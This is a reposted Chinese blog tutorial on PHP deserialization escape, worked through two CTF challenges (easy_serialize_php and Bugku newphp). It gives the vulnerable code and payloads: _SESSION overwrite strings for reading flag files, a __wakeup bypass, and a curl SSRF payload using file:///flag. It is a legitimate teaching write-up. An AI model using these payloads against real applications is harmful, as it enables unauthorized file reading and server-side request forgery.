两道题浅析PHP反序列化逃逸

news2025/2/25 3:07:18

两道题浅析PHP反序列化逃逸

一、介绍

  • 反序列化逃逸的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。

  • 反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况,这两种情况有着不同的处理方式。

例如这段代码:

<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$ab=array('user'=>'flagflagflag','1'=>'1');
echo filter(serialize($ab));

?>

本来反序列化的结果为:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}

但是因为敏感字符串替换变成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}

这样在反序列化时,就导致了原先的键值flagflagflag被现在的12个字符";i:1;s:1:"1替换了。导致函数误以为键user的值为";i:1;s:1:"1

但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}

下面通过两道题实际应用一下该漏洞。

二、【安洵杯 2019】easy_serialize_php

2.1 收获

  • php反序列化逃逸

  • 数组变量覆盖

  • POST请求体传递数组

2.2 分析

  • 代码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

分析代码,首先filter函数实现了一个替换字符串中敏感字符为空的操作。

然后对$__SESSION进行了设置,但是下面出现了一个extract($_POST);。在Php中extract函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。

下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。

  • 思路

首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。

3.3 利用

  • 访问Phpinfo:

得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。

  • 读文件:

当我们GET请求中设置img_path变量时,势必会触发sha1函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?

  • payload

在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。

首先f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。

_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}

其过滤后的序列化结果为:

原本的红线部分作为了现在func键的值。

  • 抓包:

注意_SESSION数组修改方式不包含$符号与引号(不要按照Php格式写就行,这里笨了)。

  • 继续:

说明要继续读取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn

payload:

_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}

三、Bugku newphp

3.1 收获

  • php反序列化逃逸

  • __wakeup函数绕过

3.2 分析

题目代码:

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

  • 首先为了能够访问hint.php,我们需要绕过__wakeup()函数,不然hint变量会被赋值为表情符号。

  • 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行__wakeup()

  • 正常的evil类序列化后为:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},这里只有一个属性。我们将其改为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

  • 其次,为了反序列化后的结果为evil类,需要进行反序列化逃逸,因为无法使用username=new evil()然后在User类的__construct()函数创建evil类的办法。

  • 我们需要使得User中的username或者password属性为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

  • 分析write()read()函数可以发现,chr(0)对应的是空字符,一般

  • 我们提供的字符串中不会包含空字符;但是我们可以让字符串中包含\0\0\0从而在read()函数中实现替换,使得字符串变短一半。这里需要注意chr(0)虽然是空字符串,但是其也占了一个长度,所以从'\0\0\0'到chr(0).*.chr(0)其实是字符串缩短了一半。

  • 正常的User类序列化之后为O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我们让username中包含许多\0,从而字符串变短后吞掉后面的"s:8:"password";s:4:"共21个字符串,但是同时因为我们的payload最后肯定是大于10的,所以password后面的s:4应该是两位数而不是4,所以总共需要吞掉22个字符。

  • 量子力学计算一下,我们需要24个\0,并且password中增加一写字符串,才能实现覆盖22个字符串。

  • 测试:

<?php
class evil{
    public $hint;

    function __wakeup() { 
		echo $this->hint;
    }
}
class User
{
    public $username;
    public $password;

    public function __construct(){
        $this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
        $this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
    }

}
$a=new User();
echo serialize($a);
echo '                               ';
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
echo read(write(serialize($a)));
unserialize(read(write(serialize($a))))
?>

  • 这样会直接输出字符串hint.php。实际为了躲避__wakeup函数,evil的类变量需要设置为2。

3.3 反序列化逃逸

payload:

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}

3.4 SSRF

得到base64字符串解码:

<?php
 $hint = "index.cgi";
 // You can't see me~

直接访问后得到:

{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" } 

说明网站是向http://httpbin.org发送了一个请求,那这里就需要SSRF。

这里我们可以向其传参name参数,并且Agent里面提示了,其使用的是curl进行发送请求。

所以为了读取flag,我们要使用file协议,但是这里是向http://httpbin.org发送请求。这里使用空格截断,这样在curl同时可以实现向两个url发送请求(可以在本地命令行测试curl的用法)

payload:

?name= file:///flag

注意name后的空格。

总结

  • 对于反序列化逃逸题目首先要看有没有序列化后的字符串替换,如果存在,可以说题目基本上是在考察该知识点。

  • 分析替换方式。缩短类型:基本上是靠前一个属性包含的字符串被缩短后,吞吃后一个属性;同时在后一个属性中存放需要利用的属性即可。变长类型:这个后续如果遇到相关题目会进行补充。

文章转载自:CAP_T

原文链接:https://www.cnblogs.com/CAPD/p/17875223.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1285746.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Pytest接口自动化测试框架搭建模板

auto_api_test 开发环境: Pycharm 开发语言&版本: python3.7.8 测试框架: Pytest、测试报告: Allure 项目源码Git地址 项目目录结构 api – 模仿PO模式, 抽象出页面类, 页面类内包含页面所包含所有接口, 并封装成方法可供其他模块直接调用config – 配置文件目录data…

2023五岳杯量子计算挑战赛A题B题C题思路+模型+代码+论文

赛题思路&#xff1a;12月6日晚开赛后第一时间更新&#xff0c;获取见文末名片 “五岳杯”量子计算挑战赛&#xff0c;是国内专业的量子计算大赛&#xff0c;也是玻色量子首次联合移动云、南方科技大学共同发起的一场“企校联名”的国际竞赛&#xff0c;旨在深度融合“量子计算…

鸿蒙原生应用/元服务开发-新版本端云一体化模板体验反馈

一、前言 云端一体化模板是基于Serverless服务构建的一套模板&#xff0c;提供了应用生态常见场景需求的代码实现&#xff0c;开发者可将所需能力快速部署和集成到自己的应用中。 二、准备 体验最新的远端一体化模板&#xff0c;需要将云模板替换掉。为此&#xff0c;我们需要做…

解决使用Flipper无法连接到苹果模拟器,却能连接到安卓

而且这些都是显示正常 可是打开Virtual device一看ios一直在加载中 然后我打开日志看了下&#xff0c;然后各种找配置&#xff0c;项目里边配置改了又改&#xff0c;最后发现是缺少了个插件 //1、 检查 idb 和 idb_companion 是否已经安装 brew tap facebook/fb brew install …

一文彻底搞懂机器学习中的归一化与反归一化问题

1、什么是归一化和反归一化 话不多说&#xff0c;先上一段代码&#xff0c;自己体会&#xff1a; import numpy as np from sklearn.preprocessing import MinMaxScaler #导入库data np.random.randint(0,5,size5) #随机生成长度为5的数据 data np.array(data).reshape((len…

Java多线程详解(上)——2023/11/23

Process&#xff08;进程&#xff09;与Thread&#xff08;线程&#xff09; 说起进程&#xff0c;就不得不说下程序。程序是指令和数据的有序集合&#xff0c;其本身没有任何运行的含义&#xff0c;是一个静态的概念。而进程则是执行程序的一次执行过程&#xff0c;它是一个动…

完善根文件系统

一. 简介 本文完善之前创建的根文件系统。 上一篇文章通过 设置 bootargs参数&#xff0c;使开发板通过 nfs服务从 ubuntu系统加载根文件系统。文章地址如下&#xff1a; 根文件系统初步测试-CSDN博客 二. 完善根文件系统 上一篇文章通过 设置 bootargs参数&#xff0c;使…

3D Gaussian Splatting的使用

3D Gaussian Splatting的使用 1 下载与安装2 准备场景样本2.1 准备场景照片2.1.1 采集图片2.1.2 生成相机位姿 3 训练4 展示 1 下载与安装 今年SIGGRAPH最佳论文&#xff0c;学习了一下&#xff0c;果然厉害&#xff0c;具体论文原理就不说了&#xff0c;一搜都有&#xff0c;…

Kubernetes(K8s)安全认证-10

安全认证 访问控制概述 Kubernetes作为一个分布式集群的管理工具&#xff0c;保证集群的安全性是其一个重要的任务。所谓的安全性其实就是保证对Kubernetes的各种客户端进行认证和鉴权操作。 客户端 在Kubernetes集群中&#xff0c;客户端通常有两类&#xff1a; User Acco…

【算法刷题】Day13

文章目录 1658. 将 x 减到 0 的最小操作数题干&#xff1a;算法原理&#xff1a;滑动窗口代码&#xff1a; 91. 解码方法题干&#xff1a;算法原理&#xff1a;1、状态表示2、状态转移方程3、初始化4、填表顺序5、返回值6、代码&#xff1a;7、优化 1658. 将 x 减到 0 的最小操…

华为云RDS通用型(x86) vs 鲲鹏(ARM)架构的性能对比

概述 之前&#xff0c;我们对比了阿里云RDS的经济版&#xff08;ARM&#xff09;与x86版的性价比&#xff0c;这次我们来看看华为云的RDS MySQL的“通用型”(x86)与“鲲鹏通用增强型”(ARM)版本的情况如何。 这里依旧选择了用户较为常用的4c16g的规格进行测试&#xff0c;测试…

mp3的播放

1.这段vue代码会播放声音&#xff0c;但是会有audio标签 <template><div><audio id"myAudio" controls><source src"./test.mp3" type"audio/mp3" />Your browser does not support the audio tag.</audio></…

webGL开发科学模拟

开发科学模拟应用涉及到使用 WebGL 进行高性能的图形渲染&#xff0c;同时结合科学计算和模拟算法。以下是一般的技术方案&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.WebGL 框架&#xff1a; …

C/C++,数字序列——查找第n个鲍姆甜序列(Baum Sweet Sequence)的计算方法与源程序

1 文本格式 // CPP code to find the nth term of the Baum Sweet Sequence #include <bits/stdc.h> using namespace std; int nthBaumSweetSeq(int n) { // bitset stores bitwise representation bitset<32> bs(n); // len stores the number of bits…

【云原生 | Docker】Docker核心概念 应用上手最佳流程

&#x1f935;‍♂️ 个人主页: AI_magician &#x1f4e1;主页地址&#xff1a; 作者简介&#xff1a;CSDN内容合伙人&#xff0c;全栈领域优质创作者。 &#x1f468;‍&#x1f4bb;景愿&#xff1a;旨在于能和更多的热爱计算机的伙伴一起成长&#xff01;&#xff01;&…

基因组变异注释 — ANNOVAR(一)

基因组变异注释 — ANNOVAR&#xff08;一&#xff09; 1 简介 ANNOVAR 是一款高效的基因组注释工具&#xff0c;专门用于分析和注释来自多种生物基因组&#xff08;包括人类的 hg18、hg19、hg38&#xff0c;以及小鼠、蠕虫、果蝇、酵母等&#xff09;的遗传变异。这个工具实际…

数字营销竞争激烈,这是真的吗?

使用互联网、社交媒体、搜索引擎、移动设备和其他数字渠道等数字技术来营销和销售商品或服务称为数字营销。使用各种策略和策略来接触目标受众并与之互动、提高品牌知名度、产生潜在客户并推动转化。 如今&#xff0c;借助智能手机和其他数字设备&#xff0c;企业可以更轻松地…

在Windows操作系统上使用rtsp simple server和ffmpeg推送录屏视频流

大纲 1 搭建启动rtsp server2 推送录屏视频流下载FFmpeg 3 检验3.1 获取本机IP3.2 检测 1 搭建启动rtsp server 从https://github.com/aler9/rtsp-simple-server/releases下载Windows版本的编译结果。 解压&#xff0c;然后启动该程序 2 推送录屏视频流 下载FFmpeg 从htt…

C语言数组(下)

我希望各位可以在思考之后去看本期练习&#xff0c;并且在观看之后独立编写一遍&#xff0c;以加深理解&#xff0c;巩固知识点。 练习一&#xff1a;编写代码&#xff0c;演⽰多个字符从两端移动&#xff0c;向中间汇聚 我们依旧先上代码 //编写代码&#xff0c;演⽰多个字…

学习数分--简单案例1

业务背景&#xff1a;某服务类app&#xff0c;近期发现日新增用户数下滑明显。 具体描述&#xff1a;假设公司产品&#xff08;一款本地服务类app&#xff09;&#xff0c;近期发现日新增用户数下滑明显。老板要求你分析&#xff1a;数据异动的原因是什么&#xff1f; #最开始…